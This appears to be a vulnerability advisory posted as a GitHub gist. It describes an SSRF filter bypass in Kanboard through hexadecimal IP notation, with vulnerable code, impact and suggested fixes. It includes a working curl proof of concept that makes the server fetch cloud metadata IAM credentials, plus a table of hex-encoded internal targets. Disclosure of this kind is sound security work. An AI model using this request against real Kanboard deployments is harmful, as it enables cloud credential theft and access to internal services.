Skip to content

Instantly share code, notes, and snippets.

@sermikr0
Created July 18, 2026 09:01
Show Gist options
  • Select an option

  • Save sermikr0/67c8acfc395e465127e729dc309da3ae to your computer and use it in GitHub Desktop.

Select an option

Save sermikr0/67c8acfc395e465127e729dc309da3ae to your computer and use it in GitHub Desktop.

Kanboard ≤ 1.2.52 — SSRF Filter Bypass via Hexadecimal IP Notation (CWE-918)

Product: Kanboard project management software
Affected versions: 1.2.52 (latest stable, April 2026) and all prior versions
Fixed version: None (unpatched as of 2026-07-18)
CVSS v3.1: 8.8 HIGH — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
CWE: CWE-918 (Server-Side Request Forgery)
Reporter: Saidakbarxon Maxsudxonov


Description

Kanboard implements SSRF protection through an isPrivateURL() method in app/Core/Http/Client.php. This method is intended to prevent authenticated users from making the server fetch internal URLs via features like web link title fetching.

The filter has a critical bypass: it does not account for hexadecimal IP address notation. When a hostname like 0x7f000001 (hexadecimal for 127.0.0.1) is supplied:

  1. gethostbyname('0x7f000001') returns the input unchanged (cannot resolve hex notation)
  2. filter_var($ipAddr, FILTER_VALIDATE_IP) rejects it as not a valid dotted-decimal IP
  3. isPrivateURL() returns false — URL is treated as safe/public
  4. cURL resolves hexadecimal IP notation natively and connects to 127.0.0.1

Vulnerable Code

app/Core/Http/Client.php

public function isPrivateURL(string $url): bool {
    $parsed = parse_url($url);
    $hostname = $parsed['host'] ?? '';

    $ipAddr = gethostbyname($hostname);
    // gethostbyname('0x7f000001') returns '0x7f000001' unchanged

    if (filter_var($ipAddr, FILTER_VALIDATE_IP) === false) {
        return false;  // BUG: hex IP fails FILTER_VALIDATE_IP → treated as "not private"
    }                  // → all private range checks below are skipped!

    if (!filter_var($ipAddr, FILTER_VALIDATE_IP,
                     FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
        return true;   // Would correctly block 127.0.0.1, 10.x, 169.254.x.x, etc.
    }
    return false;
}

app/ExternalLink/WebLink.php (SSRF sink, line ~29)

$title = $this->httpClient->get($url)->getContent();

Proof of Concept

Prerequisites: Any valid Kanboard user account (no admin privileges required)

Step 1: Create a task in any project the user has access to.

Step 2: Add a web link with a hexadecimal internal IP as the URL via JSON-RPC:

curl -X POST http://kanboard.target/jsonrpc.php \
  -u "user:password" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc":"2.0",
    "method":"createExternalLink",
    "id":1,
    "params":{
      "task_id": 1,
      "url": "http://0xA9FEA9FE/latest/meta-data/iam/security-credentials/",
      "dependency": "related",
      "type": "weblink",
      "title": ""
    }
  }'

0xA9FEA9FE = 169.254.169.254 (AWS/GCP/Azure Instance Metadata Service)

Step 3: Kanboard fetches the URL server-side, bypassing the SSRF filter. In a cloud environment, the IMDS response returns IAM credentials.

Additional internal targets:

Hex notation Resolved IP Target
0x7f000001 127.0.0.1 Localhost services (Redis, Memcached)
0xA9FEA9FE 169.254.169.254 AWS/GCP/Azure IMDS
0x0A000001 10.0.0.1 RFC1918 class A internal
0xC0A80101 192.168.1.1 RFC1918 class C internal

Impact

An authenticated Kanboard user (no admin required) can:

  • Retrieve temporary IAM credentials from AWS/GCP/Azure/DigitalOcean IMDS → cloud account takeover
  • Scan and access internal services not exposed to the internet (Redis, Elasticsearch, internal admin panels)
  • Exfiltrate data from internal HTTP services
  • Access Kubernetes service account tokens via the internal API server
  • Bypass network-level firewall rules on outbound traffic

In cloud deployments — which are common for Kanboard as a team tool — IMDSv1 credential theft leads to full cloud account takeover when the instance has privileged IAM roles attached.


Affected Code Locations

File Location Issue
app/Core/Http/Client.php isPrivateURL() Incomplete validation — hex IP bypasses FILTER_VALIDATE_IP
app/ExternalLink/WebLink.php Line ~29 SSRF sink: user-supplied URL passed directly to HTTP client

Remediation

Fix 1 (Recommended): After gethostbyname(), use inet_pton() which correctly rejects non-standard formats including hex notation:

$ipAddr = gethostbyname($hostname);
if (inet_pton($ipAddr) === false) {
    return true; // Unresolvable / non-standard format → treat as private (deny)
}

Fix 2: Detect hex notation before resolution:

if (preg_match('/^0x[0-9a-fA-F]+$/i', $hostname)) {
    return true; // Hex IP → block immediately
}

Fix 3: Block all server-side outbound HTTP requests at the network level rather than relying on application-layer filtering.


Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment